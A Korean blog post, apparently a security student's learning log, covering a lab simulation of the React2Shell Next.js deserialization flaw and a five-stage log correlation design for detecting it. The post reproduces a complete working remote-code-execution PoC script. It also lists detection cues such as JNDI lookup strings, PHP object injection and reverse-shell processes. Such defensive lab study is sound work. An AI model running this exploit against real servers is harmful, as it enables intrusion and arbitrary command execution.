&lt;p data-ke-size=&quot;size16&quot;&gt;그렇습니다...이게 끝이예요. 간단하죠?&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 일단 저는 React2Shell을 담당한다~로 이해해주시면 됩니다!! 그럼 CVE가 정해졌으면 뭘 해야할까요? 실제로 한번 공격 시뮬레이션을 해야겠죠~?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;React2Shell 공격 구현&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 제목을 짓는게 맞나..너무 막나가나..쨋든 저는 강의실 pc의 vmware환경에서 Ubuntu와 Kali 두개를 올렸습니다. 그리고 React2Shell은 Docker 환경으로 올렸습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 참고한 PoC 코드에 대한 GIT 주소는 다음과 같습니다.&amp;nbsp; &lt;a href=&quot;https://github.com/kdh379/react2shell-poc&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/kdh379/react2shell-poc&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1766512533054&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - kdh379/react2shell-poc&quot; data-og-description=&quot;Contribute to kdh379/react2shell-poc development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/kdh379/react2shell-poc&quot; data-og-url=&quot;https://github.com/kdh379/react2shell-poc&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/di5m6r/hyZP5ACzfi/67xHnOq0uKkUkCTZQjsSek/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/NmNAS/hyZPZNWH8o/4t53hfGN8U6ajy1wnuiZG1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/kdh379/react2shell-poc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/kdh379/react2shell-poc&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/di5m6r/hyZP5ACzfi/67xHnOq0uKkUkCTZQjsSek/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/NmNAS/hyZPZNWH8o/4t53hfGN8U6ajy1wnuiZG1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - kdh379/react2shell-poc&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to kdh379/react2shell-poc development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 단계에서 간단히 설명하자면 일단 공격을 하고 공격당한 애로부터 로그를 수집할 예정이잖아요? 여기서 kali로 공격을 보내면 victim인 우분투에 깔아둔 node.js를 falco를 통해 로그를 수집하는 것입니다. (다른 구성들은..나중에 이야기 하는게..나을 것 같아요.. 너무 복잡해..ㅜ)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cscsqj/dJMcaiu67oo/KGUWjTwMWklAUduK8L6qHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cscsqj/dJMcaiu67oo/KGUWjTwMWklAUduK8L6qHK/img.png&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;135&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;76.26&quot; data-filename=&quot;blob&quot; style=&quot;width: 75.3705%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cscsqj/dJMcaiu67oo/KGUWjTwMWklAUduK8L6qHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcscsqj%2FdJMcaiu67oo%2FKGUWjTwMWklAUduK8L6qHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;135&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clO0Ki/dJMcagc2YZ2/UMmk9qAaWWi02yCUD0HTMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clO0Ki/dJMcagc2YZ2/UMmk9qAaWWi02yCUD0HTMK/img.png&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;768&quot; data-is-animation=&quot;false&quot; style=&quot;width: 23.4667%;&quot; data-widthpercent=&quot;23.74&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clO0Ki/dJMcagc2YZ2/UMmk9qAaWWi02yCUD0HTMK/img.png&quot; alt=&quot;이렇게 로그가 남습니다&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclO0Ki%2FdJMcagc2YZ2%2FUMmk9qAaWWi02yCUD0HTMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;813&quot; height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;칼리를 보내면 falco에 빨간색 에러가 출력된다~(가장 기초 그냥 연결되었는지 실험)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음...사실 제가 이 이후 간단한 룰도 설정해둬서 저렇게 critical 한 빨간색이 몇개 나오는데..그냥 이런 흐름이구나만 알면 될 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노션에는 각 과정의 코드랑 결과를 상세히 적어뒀지만 TIL에서는 제외하도록 하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 진행 중 오류 발생 상황&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 사실 이 과정에서는 딱히 막히는 부분은 많지 않았습니다. (저는..거의 한줄 칠 때마다 에러 하나 뜨는 인간이거등여..)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중간에 falco의 ebpf 방식을 적용했다는 점과 제 우분투 서버가 8.8.8.8로 설정이 안되어 있어서 좀 많이 헤멨던 것 같습니다. (정말 왜 자동설정이 안되어있었지..?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 저는 뭐 다른 팀원들과 연결하기 위해 (뭐 방화벽이나 Wazuh과정에서) 추가로 Bridge을 해주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;React2Shell의 상관분석&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 기본 구성은 마쳤을 때 아까 상관분석으로 대응을 하겠다 했는데 그러면 React2Shell을 어떻게 분석해야하는걸까 라는 생각이 들었습니다. 그래서 저는 일단 저 git hub에 올라온 PoC 코드부터 분석하자고 생각 되었습니다. 링크는 바로 남겨두겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kdh379/react2shell-poc&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/kdh379/react2shell-poc&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1767596201330&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - kdh379/react2shell-poc&quot; data-og-description=&quot;Contribute to kdh379/react2shell-poc development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/kdh379/react2shell-poc&quot; data-og-url=&quot;https://github.com/kdh379/react2shell-poc&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/7Z0k3/hyZPOMTGbQ/W8A1BzKACkn1hCngscA881/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/Byh6v/hyZQYuGeUs/EK4bw1iuweIaGqrtto6qwk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/kdh379/react2shell-poc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/kdh379/react2shell-poc&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/7Z0k3/hyZPOMTGbQ/W8A1BzKACkn1hCngscA881/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/Byh6v/hyZQYuGeUs/EK4bw1iuweIaGqrtto6qwk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - kdh379/react2shell-poc&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to kdh379/react2shell-poc development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1720&quot; data-origin-height=&quot;1622&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wQzuX/dJMcafrKdkY/SKnQ3KuYOZEJZdVFK8JYjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wQzuX/dJMcafrKdkY/SKnQ3KuYOZEJZdVFK8JYjK/img.png&quot; data-alt=&quot;스마일이 귀엽더라구요&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wQzuX/dJMcafrKdkY/SKnQ3KuYOZEJZdVFK8JYjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwQzuX%2FdJMcafrKdkY%2FSKnQ3KuYOZEJZdVFK8JYjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;424&quot; data-origin-width=&quot;1720&quot; data-origin-height=&quot;1622&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;스마일이 귀엽더라구요&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 Next.js는 웹사이트를 만들 때 클라이언트 뿐만 아니라 서버에서도 코드를 실행하게 합니다. 그리고 Server Action이 사용자가 뭔 버튼을 누르면 브라우저가 서버에 있는 특 함수를 직접 실행해달라고 요청하는 기능입니다. 이 Server Action의 과정에서 클라이언트가 데이터를 보내고 직렬화 하면, 서버는 받은 데이터를 역직렬화하게 됩니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1766513511876&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/env node

import FormData from 'form-data';
import fetch from 'node-fetch';

let BASE_URL = 'http://localhost:3000';
let EXECUTABLE = &quot;echo 'poc' &amp;gt; /tmp/test.txt&quot;;

// 스크립트 뒤에 문자열 있으면 해당 문자열을 shell 명령으로 실행
if (process.argv.length === 3) {
  EXECUTABLE = process.argv[2];
} else if (process.argv.length &amp;gt;= 4) {
  BASE_URL = process.argv[2];
  EXECUTABLE = process.argv[3];
}

//여기가 공격의 핵심인 페이로드 부분 
//즉, 이 부분이 역직렬화 되는 부분
const craftedChunk = {
	// 시스템의 근본적인 규칙을 변경
	// 이 때 서버가 특정 역직렬화를 실행하는 순간 시스템 관리자 권한을 가로챔 
  then: &quot;$1:__proto__:then&quot;,
  status: &quot;resolved_model&quot;,
  reason: -1,
  value: '{&quot;then&quot;: &quot;$B0&quot;}',
  _response: {
	  // 상자가 열리자마자 실행될 공격 명령 
	  // 여기 존해하는 'child_process'가 서버의 운영체제에게 직접 특정 명령을 실행하라고 요구하는 코드임 
    _prefix: `var res = process.mainModule.require('child_process').execSync('${EXECUTABLE}',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:\`$\${res}\`});`,
    // If you don't need the command output, you can use this line instead:
    // _prefix: `process.mainModule.require('child_process').execSync('${EXECUTABLE}');`,
    _formData: {
      get: &quot;$1:constructor:constructor&quot;,
    },
  },
};

const formData = new FormData();
formData.append('0', JSON.stringify(craftedChunk));
formData.append('1', '&quot;$@0&quot;');

// 이 헤더가 있으면 next.js는 Server Action 요청으로 인식하여 서버에서 실행함
const headers = {
  'Next-Action': 'x', 
  ...formData.getHeaders(),
};

fetch(BASE_URL, {
  method: 'POST',
  headers: headers,
  body: formData,
  timeout: 10000,
})
  .then(async (res) =&amp;gt; {
    console.log(res.status);
    const text = await res.text();
    console.log(text);
  })
  .catch((err) =&amp;gt; {
    console.error('Error:', err.message);
    process.exit(1);
  });&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러다면 상관분석이라는 것은 무엇일까요?&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안에서 상관분석이라는 것은 단순히 A가 B랑 닮아서 A도 B와 같은 공격 아닐까 를 넘어서 여러 흩어진 로그를 연결해서 하나의 공격 시나리오를 완성하는 과정 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 터졌을 때, 단순히 공격이 들어왔다는 알람이 아닌 어디에서 이 흔적이 남고 (예들ㄹ 들어 WAF단계) 그리고 이 뒤에 이게 실행되고 (부모-자식 프로세스에서 sh가 실행되었다던지) 그리고 이게 사후행위로 뭘 한게 파악된다(파일을 다른곳으로&amp;nbsp; 전송함) 와 같은 흐름을 보고 이 로그를 남긴 이게 공격인지 아닌지를 판단하는 것입니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 이 상관분석을 React2Shell에서 어떻게 해야할까라는 생각을 해보았습니다. 이게 정해져야 어떤 단계에서 어떤 로그들을 분석 추출해야하는지 뭘 분석해야하는지 알 수 있기 때문입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 제가 생각한 프로세스는 다음 표와 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 771px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style3&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 16.1628%; height: 20px;&quot;&gt;&lt;b&gt; 단계 &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.2209%; height: 20px;&quot;&gt;&lt;b&gt;Target Log&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 12.6163%; height: 20px;&quot;&gt;&lt;b&gt;Key&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px;&quot;&gt;&lt;b&gt;Context&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px;&quot;&gt;&lt;b&gt;Value &amp;nbsp;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 117px;&quot;&gt;
&lt;td style=&quot;width: 16.1628%; height: 117px;&quot;&gt;&lt;b&gt; 1. Packet &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.2209%; height: 117px;&quot;&gt;Zeek (conn, ssl), Arkime&lt;/td&gt;
&lt;td style=&quot;width: 12.6163%; height: 117px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,2,0&quot;&gt;5-Tuple&lt;/b&gt; (Src/Dst IP, Port, Proto)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 117px;&quot;&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,3,0&quot;&gt;Log4Shell:&lt;/b&gt; 외부 LDAP(389)/RMI(1099) 아웃바운드 연결 탐지&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,3,2&quot;&gt;Common:&lt;/b&gt; 공격 도구 특유의 JA4 지문 식별&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 117px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,4,0&quot;&gt;[네트워크 가시성]&lt;/b&gt; &lt;br /&gt;서버가 외부 공격자 서버로 비정상적인 연결을 시도하는지 확인하여 침해 시작점 포착.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 242px;&quot;&gt;
&lt;td style=&quot;width: 16.1628%; height: 242px;&quot;&gt;&lt;b&gt; 2. WAF &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.2209%; height: 242px;&quot;&gt;ModSecurity&lt;/td&gt;
&lt;td style=&quot;width: 12.6163%; height: 242px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,2,0&quot;&gt;5-Tuple&lt;/b&gt; + &lt;b data-index-in-node=&quot;10&quot; data-path-to-node=&quot;4,2,2,0&quot;&gt;Trace-ID&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 242px;&quot;&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,3,0&quot;&gt;Log4Shell:&lt;/b&gt; ${jndi:ldap://...} 패턴&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,3,2&quot;&gt;Tomcat:&lt;/b&gt; JSESSIONID 내 ../ 경로 조작&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,3,4&quot;&gt;Better Search:&lt;/b&gt; O:S:&quot;...&quot; PHP 객체 주입&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,3,6&quot;&gt;React2Shell:&lt;/b&gt; RSC(React Server Component) 악성 페이로드&lt;/span&gt;&lt;br /&gt;&lt;span&gt;.&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 242px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,4,0&quot;&gt;[공격 의도 확정]&lt;/b&gt; &lt;br /&gt;HTTP 요청 단계에서 어떤 취약점을 노린 페이로드가 유입되었는지 기술적으로 분류.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 210px;&quot;&gt;
&lt;td style=&quot;width: 16.1628%; height: 210px;&quot;&gt;&lt;b&gt; 3. Trigger &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.2209%; height: 210px;&quot;&gt;Elastic APM&lt;/td&gt;
&lt;td style=&quot;width: 12.6163%; height: 210px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,2,0&quot;&gt;Trace-ID&lt;/b&gt; + &lt;b data-index-in-node=&quot;11&quot; data-path-to-node=&quot;4,3,2,0&quot;&gt;PID&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 210px;&quot;&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,3,3,0&quot;&gt;Log4Shell:&lt;/b&gt; log4j-core 내 lookup() 호출&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,3,3,2&quot;&gt;Tomcat:&lt;/b&gt; FileStore.load() (세션 역직렬화)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,3,3,4&quot;&gt;Better Search:&lt;/b&gt; unserialize() 호출&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,3,3,6&quot;&gt;React2Shell:&lt;/b&gt; 서버 액션 내 JSON.parse 및 객체 복원&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 210px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,3,4,0&quot;&gt;[코드 실행 검증]&lt;/b&gt; &lt;br /&gt;WAF가 탐지한 페이로드가 실제 애플리케이션의 취약한 로직을 트리거했는지 증명.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 102px;&quot;&gt;
&lt;td style=&quot;width: 16.1628%; height: 102px;&quot;&gt;&lt;b&gt; &lt;span data-path-to-node=&quot;5,4,0,0&quot;&gt;4. Execution&lt;/span&gt; &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.2209%; height: 102px;&quot;&gt;Falco&lt;/td&gt;
&lt;td style=&quot;width: 12.6163%; height: 102px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,4,2,0&quot;&gt;PID&lt;/b&gt; + &lt;b data-index-in-node=&quot;6&quot; data-path-to-node=&quot;4,4,2,0&quot;&gt;PPID&lt;/b&gt; (부모-자식)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 102px;&quot;&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,4,3,0&quot;&gt;Java(Log4j/Tomcat):&lt;/b&gt; java 프로세스가 sh, nc 실행&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,4,3,2&quot;&gt;PHP:&lt;/b&gt; php-fpm이 sh를 통해 리버스 쉘 생성&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,4,3,4&quot;&gt;Node:&lt;/b&gt; node 프로세스의 비정상적인 자식 프로세스 생성&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 102px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,4,4,0&quot;&gt;[최종 침해 증명]&lt;/b&gt; &lt;br /&gt;각 언어의 인터프리터/런타임 프로세스가 자식 프로세스(sh, cmd)를 생성하는 순간 포착.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 80px;&quot;&gt;
&lt;td style=&quot;width: 16.1628%; height: 80px;&quot;&gt;&lt;b&gt; 5. Response &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 21.2209%; height: 80px;&quot;&gt;Wazuh (SIEM / XDR)&lt;/td&gt;
&lt;td style=&quot;width: 12.6163%; height: 80px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,5,2,0&quot;&gt;Timeline&lt;/b&gt; (All Keys)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 80px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,5,3,0&quot;&gt;공용:&lt;/b&gt; 위 4개 단계 로그의 인과관계를 타임라인으로 병합하여 가시화&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 80px;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,4,4,0&quot;&gt;[최종 침해 증명]&lt;/b&gt; &lt;br /&gt;역직렬화의 결과로 실제 OS 명령어가 실행되었음을 커널 수준에서 확정.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 5단계에 맞게 총 5가지를 수집해야한다고 생각했습니다. 이에 대해 조금 상세히 설명해보겠습니다. (제가 구성한거라서.. 부족한 부분이 있을 것 같은데...걱정이 됩니다...ㅜ)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1단계 : Packet&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Zeek의 conn.log와 ssl.log, 그리고 Arkime으로 받은 실제 PCAP 데이터&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Zeek는 기본적으로 패킷으 그대로 저장하지 않고 네트워크 행위를 구조화된 로그로 기록하는 도구 입니다. 여기서 conn.log는 네트워크 통신의 중심로그 같은 것입니다. 누가, 누구에게, 어떤 방식으로 얼마나 통신했는가가 기록됩니다. 구체적으로 말하면 id.orig_h로 출발지 ip를, id.resp_h로 목적지 ip를 id.resp_p로 목적지 포트 등을 알 수 있습니다. 즉, conn.log는 이 연결이 실제로 네트워크 단에서 있었는가를 증명하는 역할입니다. ssl.log는 HTTP/TLS 연결에서 누구와 통신했는지를 볼 수 있습니다. 즉, ssl.log는 암호화가 되어있어도 어디와 통신했는지 알 수 있습니다.&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Arkime은 패킷을 PCAP 형태로 그대로 저장하고 다시 재생할 수 있는 도구 입니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 좀 중요하게 봐야하는 부분은 5-Tuple 부분 입니다. 아까 Zeek의 conn.log 부분입니다. (&lt;i&gt;Source IP, Source Port, Destination IP, Destination&amp;nbsp;Port,&amp;nbsp;Protocol&lt;/i&gt;) 이렇게 다섯 가지가 나중에 단 하나의 네트워크를 가리키게 되는 연결 지표가 됩니다. 이후 진행되는 5단계의 모든 로그가 이 하나의 conn.log 부분으로 묶이게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
